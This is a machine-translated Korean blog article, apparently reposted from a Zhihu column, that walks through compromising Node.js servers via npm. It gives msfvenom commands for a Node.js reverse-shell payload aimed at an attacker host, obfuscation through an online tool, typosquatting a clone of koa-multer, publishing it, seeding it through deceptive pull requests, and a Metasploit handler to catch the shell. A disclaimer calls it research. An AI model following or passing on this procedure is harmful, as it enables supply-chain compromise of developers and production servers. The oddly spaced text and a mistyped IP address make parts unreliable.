나 는 이렇게 너의 Node. js 생산 서버 에 해 킹 을 했다.

8188 단어
본 고 는 나의 지식 칼럼 HackingSexy: zhuanlan. zhihu. com/p/43514079 에서 시작 되 었 다.
TL,DR:
이 글 은 한 해커 의 관점 에서 전단 항목 에 침투 하 는 것 을 목표 로 페 이 로드 생 성, 혼동, 페 이 로드 숨 기기, npm 발표, 사회 공학 적 PR 발표, 스 크 립 트 실행, 공격 호스트 로 역방향 연결, 최종 호스트 가 서버 셸 을 가 져 오 는 이 야 기 를 담 고 있다.
원본:
전단 엔지니어 의 말버릇 은 무엇 입 니까?npm install!
이 명령 은 npm 창고 에서 프로젝트 패키지. json 에서 설명 한 의존 도 를 다운로드 하고 의존 도 를 다운로드 한 후 의존 도 패키지. json 성명 의 의존 도 를 다운로드 합 니 다. 의존 도 를 다운로드 한 후 의존 도 패키지. json 성명 의 의존 도 를 다운로드 합 니 다. 의존 도 를 다운로드 한 후...
그리고 니 가 어디서 왔 는 지 모 르 는 npm 가방 을 잔뜩 내 려 왔 어.
전단 엔지니어 의 또 다른 말버릇 은 무엇 입 니까?npm run dev!
응!인터페이스 디 스 플레이 컴 파일 성공!완벽 한 컴 파일!진정한 기술 을 보 여줄 때 가 된 것 같 아!
이때 인터넷 의 다른 한 끝 에서 한 해커 가 미 소 를 지 으 며 또 한 명의 육계 가 접속 했다.
이 사이 에 무슨 일이 있 었 습 니까?
Payload 생 성
경험 이 풍부 한 금붕어 들 은 낚시 를 하려 면 반드시 먼저 낚시 를 해 야 한 다 는 것 을 안다.해커 도 낚시 를 해 야 하 는데 낚시 는 무엇 입 니까?해커 의 세계 에는 msfvenom 이 라 고 불 리 는 낚시 가게 가 있 는데 각종 종류 (구조), 각종 종류 (언어) 의 물고기 (기계) 를 전문 적 으로 관리한다.msfvenom 은 metasploit 의 일부분 으로 Kali 시스템 에 통합 되 었 습 니 다.칼 리 홈 페이지 에는 기 존 가상 머 신 미 러 가 있어 다운로드 하면 이용 할 수 있다.
Kali 의 Terminal 에 입력:
msfvenom -l | grep node
Node. js 를 지원 하 는 모든 payload 를 표시 할 수 있 습 니 다.이것 은 가게 에 가서 사장 님! 라 고 묻 는 것 과 같다.낚시 살 거 야!Node. js 를 낚 을 수 있 는 그런!사장: 좋아!어떤 걸 로 드릴 까요?
여기 서 우 리 는 nodejs/shell 을 선택 합 니 다.reverse_tcp, 사실 업계 에서 가장 자주 사용 하 는 payload 는 meterpreter 이지 만 이 낚시 는 아직 출시 되 지 않 았 습 니 다.
어떻게 우리 의 payload 를 생 성 합 니까? 입력:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js
설정 의 인 자 를 말씀 드 리 겠 습 니 다:
  • -p nodejs/shell_reverse_tcp 는 우리 가 nodejs/shell 을 사용 해 야 한 다 는 것 을 말 합 니 다.reverse_tcp 이 payload.
  • LHOST = 192.168.119.1165 는 호스트 를 공격 하 는 IP 주 소 를 말 하 는데 이번 공격 은 내부 망 시연 이기 때문에 내부 망 IP 를 사용 했다.공 망 공격 은 공 망 IP 를 맞 춰 야 한다.
  • LPORT = 5432 는 호스트 쪽 의 감청 포트 를 공격 하고, payload 가 실행 되면 피 공격 자 는 공격 호스트 의 이 포트 에 연결 하려 고 시도 한다.
  • - o index. js 는 index. js 라 는 파일 에 출력 한 다 는 뜻 입 니 다.

  • 명령 을 두 드 린 후에 우 리 는 현재 디 렉 터 리 에서 index. js 라 는 payload, 즉 우리 가 방금 산 낚시 를 받 을 수 있 습 니 다.payload 는 작 아서 803 바이트 밖 에 없어 요.쓰다
    cat index.js
    명령, payload 가 어떻게 생 겼 는 지 볼 수 있 습 니 다.
    이때 경각 심 의 전단 에서 튀 어 나 와 가슴 밑, 당신 의 이 코드 에서 cmd 를 호출 하고/bin/sh 를 호출 하 며 공격 IP 와 포트 를 모두 드 러 내야 바보 가 당신 의 코드 를 실행 할 수 있 습 니까?
    서 두 르 지 마라, 좋 은 연극 은 이제 막 시작 되 었 다.
    뒤섞이다
    전통 적 인 백신 소프트웨어 는 파일 의 특정 문 자 를 검사 함으로써 바이러스 의 특징 을 확인 하 는 것 이 고 특징 코드 를 수정 하여 백신 소프트웨어 의 검 사 를 피해 우 리 는 이 를 면 살 이 라 고 부른다.
    자 바스 크 립 트 의 변 화 는 해적 왕 의 길 보다 더 신축 적 이다.
    예 를 들 어 간단 한 코드 한 줄:
    alert(1)
    jsfuck 로 엄마 도 못 알 아 볼 수 있 게:
    [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
    

    물론 우 리 는 jsfuck 를 사용 하지 않 는 다. 왜냐하면 헷 갈 린 후의 코드 가 너무 크기 때문이다.
    전단 은 UglifyJS 로 코드 를 압축 하 는 것 을 좋아 하지만 이 장면 에서 가장 좋 은 방법 은 아 닐 수도 있 습 니 다.우 리 는 자 바스 크 립 트 Obfuscator Tool 을 사용 합 니 다.
    payload 를 복사 하여 obfuscator. io/를 열 고 붙 여 넣 습 니 다. 입맛 에 따라 헷 갈 리 는 방법 을 선택 하고 Obfuscate 를 누 르 면 한 가지 요리 가 완 성 됩 니 다.
    이제 이 코드 를 읽 을 수 있 는 사람 이 없어 서 임 무 를 헷 갈 리 게 한다.
    페이로드 숨 기기
    npm 는 공산주의 의 큰 곡창 지대 로 누구나 자신의 코드 를 npm 에 기여 할 수 있 습 니 다.그런데 어떻게 다른 사람 에 게 우리 의 코드 를 다운로드 하 게 합 니까?이것 은 심오 한 학문 이다.
    일반적인 사고방식 은 정상 적 인 npm 가방 이름과 비슷 한 가방 이름 을 만 드 는 것 이다. 예 를 들 어 koa - multer 는 koa 를 만 들 수 있다.multer, 그리고 누 군 가 는 오 자 를 쳐 서 payload 가 포 함 된 가방 에 다운로드 합 니 다.이것 은 확률 문제 입 니 다. koa - multer 를 다운로드 하 는 총량 이 클 수록 koa 를 다운로드 합 니 다.multer 의 양도 클 수록
    koa - multer 를 예 로 들 면, 우 리 는 먼저 코드 클 라 이언 트 를 다운로드 합 니 다.
    git clone github.com/koa-modules…
    우리 가 만 든 payload 를 프로젝트 경로 로 복사 하고 index. js 에 이 파일 을 도입 합 니 다.
    package. json 과 README. md 의 모든 koa - multer 를 koa 로 변경 합 니 다.multer, 그리고 package. json 의 files 에서 payload 의 파일 이름 을 설명 하면 우 리 는 payload 가 있 는 npm 가방 을 만 들 었 습 니 다.
    이 가방 을 받 으 면 npm 소스 에 발표 할 수 있 습 니 다.
    npm publish
    시범 을 보이 기 위해 서 나 는 로 컬 에 npm 서버 를 설치 했다.
    이 가방 은 정확 한 koa - multer 와 거의 같 습 니 다.원본 코드 를 깊이 따 지지 않 으 면 전단 에서 자신 이 잘못된 가방 을 다운로드 한 것 을 발견 하지 못 할 것 이다.
    다음 에 해 야 할 일 은, 기다 리 는 것 이다.낚시 처럼 인내심 이 필요 하 다.
    이때 경각 심 을 가 진 전단 엔지니어 가 튀 어 나 와 말 할 것 이다. 이 가방 은 딱 봐 도 사람 을 함정 에 빠 뜨 린 다 는 것 을 알 수 있다. 나 는 이런 가방 을 설치 할 만큼 어 리 석 지 않 을 것 이다!
    서 두 르 지 마라, 또 다른 방법 이 있다.
    또 다른 사고방식 은 일반적인 npm 가방 을 만 드 는 것 이다. 예 를 들 어 로 그 를 통 해 알록달록 한 색깔 의 가방 을 만 든 다음 에 다른 오픈 소스 프로젝트 에 PR 을 제시 하 는 것 이다.
    내 가 너 를 도와 문제 XXX 를 복 구 했 고 컬러 로 거 기능 도 추가 했다!
    저 희 는 개원 커 뮤 니 티 에 기여 하고 있 습 니 다!
    물론 경각 심 있 는 사람 은 이 PR 을 거절 할 것 이다.그래도 괜찮아 요. PR 을 많이 꺼 내 면 누가 걸 릴 거 예요.
    npm 가방 이 위 조 된 것 은 문제 가 되 지 않 습 니 다. 악의 적 인 PR 이 이름 모 를 프로젝트 Approve 에 의 해 승인 되 는 것 도 문제 가 되 지 않 습 니 다.공격 이 라 고 부 르 지 말 라 는 요청 처럼 수백 만 원 의 요청 이 걸 려 왔 을 때 DDOS 가 얼마나 무 서운 지 알 수 있 습 니 다.
    해커 는 npm 패 키 지 를 다운로드 하고 코드 를 위조 하 며 논리 자동 화 를 발표 할 수 있다.그 다음은 koa 만 이 아니다.multer 의 문제 입 니 다. koa - multe, multer - koa, koa - multer - middleware 등 각종 기괴 한 npm 가방 을 경계해 야 합 니 다. '' 와 '-' 의 차 이 를 구분 해 야 합 니 다. 물론 koa - multer 이 가방 뿐만 아니 라 다른 모든 가방 도 법 대로 만 들 수 있 습 니 다.
    아무리 경계 하고 조심 하 더 라 도 당신 이 모 르 는 곳 이 있 습 니 다.칼 이 들 어가 지 않 는 아 케 레 스 처럼 발뒤꿈치 에 화살 을 맞 는 날 도 있다.
    또한 대부분의 npm 가방 은 등급 의존 관계 입 니 다. package. json 에서 목마 가방 이 있다 고 밝 힐 수 없 지만 의존 하 는 가방 을 확보 할 수 있 습 니 다. 이 가방 들 의 작가 들 도 당신 처럼 경각 심 을 가지 고 방심 하지 않 습 니까?
    해커 준비
    해커 쪽 에 서 는 handler 를 준비 해 야 합 니 다.
    입력:
    msfconsole
    metasploit 콘 솔 에 들 어 갑 니 다.그리고 입력:
    use exploit/multi/handler
    handler 모듈 을 사용 합 니 다.그리고 handler 모듈 에 payload 를 설정 하여 호스트 IP 를 공격 하고 호스트 포트 를 공격 하 며 감청 을 시작 합 니 다.
    set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run
    그림 과 같이 역방향 TCP 감청 이 성공 적 으로 시작 되 었 습 니 다.
    육계 가 출시 되다
    이때 생쥐 는 koamulter 의 demo 코드!
    해커 쪽 에서 이 셸 의 세 션 을 바로 얻 을 수 있 습 니 다.
    여기 서 해커 는 이 Node. js 프로그램 을 시작 할 수 있 는 사용자 권한 을 얻 었 고 사용자 가 허용 하 는 모든 명령 을 수행 할 수 있 습 니 다.예 를 들 어 운영 체제 보기, CPU 모델 보기...
    sw_vers\# 운영 체제 sysctl - n machdep. cpu. brand 보기string\# 운영 체제 보기
    만약 이 프로그램 이 생산 환경 서버 에 배치 된다 면 해커 는 이 서버 의 셸 권한 을 얻 을 수 있 을 것 이다.
    내부 망 침투, 바지 벗 기, 말 심 기, 유도... 셸 받 으 면 정말 하고 싶 은 대로 할 수 있어 요.
    Done?
    아직 끝나 지 않 았 는데, 하 이 라 이 트 는 아직 뒤에 있다.
    질문
    2017 년 7 월 에 누군가가 npm 의 계 정 에 대해 약 한 구령 검 사 를 했 는데 검 측 결 과 는 다음 과 같다.
    약 한 구령 문제 계 정 이 발표 한 npm 가방 은 전체 역 의 14% 를 차지 했다.
    npm 가방 의 존재 형태 가 서로 의존 하기 때문에 이 14% 의 가방 으로 인해 발생 하 는 안전 문제 가 다른 가방 에 영향 을 주 고 전체 역 의 54% 를 차지 했다.
    npm install 두 번 씩 안전 하지 않 은 가방 에 한 번 씩 설치 한 다 는 뜻 이다.이것 은 놀 라 운 말 이 아니다.유명한 koa. js, 발 표 된 비밀 번 호 는 "password"입 니 다.react, gulp 등 스타 프로젝트 도 피 할 수 없다.다음은 약 한 구령 문제 의 영향 을 받 은 다른 npm 가방 을 열거 합 니 다. 항상 익숙 한 이름 이 있 을 거 라 고 믿 습 니 다.
  • debug
  • qs
  • yargs
  • request
  • chalk
  • form-data
  • cheerio
  • gulp
  • browserify
  • bower
  • mongoose
  • electron
  • normalize.css
  • mysql

  • npm 는 지금까지 대규모 안전성 문제 가 발생 한 적 이 없 는데 순 전 히 운 이 좋 은 것 이다.
    그 러 니 npm 의 영원한 행운 을 기원 합 시다.
    노트: 본 고 는 교류 연 구 를 목적 으로 하 는데 작 가 는 어떠한 시스템 에 도 침투 한 적 이 없다.만약 에 본 고의 사상 에 따라 침투 한다 면 독 자 는 반드시 스스로 위험 과 책임 을 져 야 한다.저 자 는 어떠한 책임 도 지지 않 는 다.
    참고 문서:
  • hackernoon.com/im-harvesti…
  • github.com/ChALkeR/not…
  • 좋은 웹페이지 즐겨찾기